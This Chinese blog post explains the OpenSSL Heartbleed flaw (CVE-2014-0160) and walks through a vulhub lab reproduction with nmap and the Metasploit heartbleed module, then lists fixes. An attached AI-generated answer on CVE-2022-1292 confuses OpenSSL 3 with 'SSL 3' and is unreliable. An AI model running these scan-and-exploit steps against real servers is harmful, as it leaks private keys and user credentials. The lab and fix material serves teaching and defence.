OpenSSL 心脏滴血漏洞(CVE-2014-0160)

漏洞介绍:Heartbleed

是一个加密程序库OpenSSL的安全漏洞,该程序广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务端还是客户端,都可能因此而收到攻击。此问题的来源是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

Heartbleed漏洞,这项严重缺陷的差生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的的64KB缓存,将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄漏。

漏洞原理:

OpenSSL漏洞的问题出现在OpenSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包之后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。

当B收到A的请求包后,并没有验证A包的实际长度,而是简单的把请求包中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B它的长度是65535,那么B接收到这个包后就会把A的内容当作65535来处理,其实到这里,问题还不算严重,最严重的问题出在,心跳的响应包还需要附带请求包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内容拷贝到响应包的内存里的操作。

当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还将A包数据在内存中位置后额外的65534个字节拷贝进了响应包,并将这个响应包返回给了A,于是A便轻易地获得了B内存中这65534个字节的数据。

影响版本:

OpenSSL 1.0.1版本

漏洞复现:

复现环境:vulhub

命令:docker-compose up -d

靶机:Ubuntu 116.62.66.254

攻击机:kali 192.168.226.142

信息收集

使用nmap进行扫描

命令:nmap -sV -T4 116.62.66.254

8443端口开放,

使用nmap漏洞扫描脚本对5443端口进行端口扫描

命令:nmap -sV -p 8443 --script ssl-heartbleed.nse 116.62.66.254

使用MSFCONSOLE进行攻击

命令:msfconsole

搜索相关漏洞模块:search heartbleed

使用攻击模块1:use auxiliary/scanner/ssl/openssl_heartbleed

查看配置参数:show options

配置参数:对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts

命令:set rhost 116.62.66.254

set rport 8443 #设置端口

set verbose true #设置verbose为true是为了 看到泄露的信息

进行攻击:run

这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。

修复方案:

OpenSSL“心脏出血”漏洞(CVE-2014-0160)受影响的OpenSSL版本:

OpenSSL 1.0.2-beta

OpenSSL 1.0.1 - OpenSSL 1.0.1f

要解决此漏洞,简单粗暴的方法就是升级openSSL软件。

建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。

1.将受影响的服务器下线,避免它继续泄露敏感信息。

2.停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。

3.生成新密钥。(因为攻击者可能通过漏洞获取私钥。)将新密钥提交给你的CA,获得新的认证之后在服务器上安装新密钥。

4.服务器上线。

5.撤销旧认证。

6.撤销现有的会话cookies。

7.要求用户修改密码。

Heartbleed 是在 8 年多前被发现并修补的,然而许多服务器仍然存在 Heartbleed 漏洞

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答: OpenSSL命令注入漏洞CVE-2022-1292)是指在OpenSSL 1.0.2版本中存在的漏洞。为了修复这个漏洞,你需要将OpenSSL 1.0.2升级到SSL 3版本。首先,你可以使用以下命令查看OpenSSL的版本信息:\[1\] ``` openssl version ``` 然后,你可以从OpenSSL官方网站下载SSL 3的升级包。下载地址可以在官方网站上找到。\[2\]你可以使用以下命令下载升级包: ``` wget https://www.openssl.org/source/openssl-3.0.5.tar.gz ``` 下载完成后,解压升级包并进入解压后的目录: ``` tar -zxvf openssl-3.0.5.tar.gz cd openssl-3.0.5/ ``` 接下来,你可以使用以下命令进行编译和安装: ``` ./config shared zlib make make install ``` 在安装之前,建议备份原始文件。安装完成后,你可以添加新的OpenSSL软连接,并将编译后的库文件写入so库配置文件。具体操作可以参考相关文档或官方指南。\[2\] 请注意,升级OpenSSL可能会对系统产生影响,请确保在操作之前备份重要数据,并在升级过程中谨慎操作。 #### 引用[.reference_title] - *1* *2* *3* [openssl 漏洞升级 (CVE-2015-4000/CVE-2022-1292)](https://blog.csdn.net/qq_44637753/article/details/126829820)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值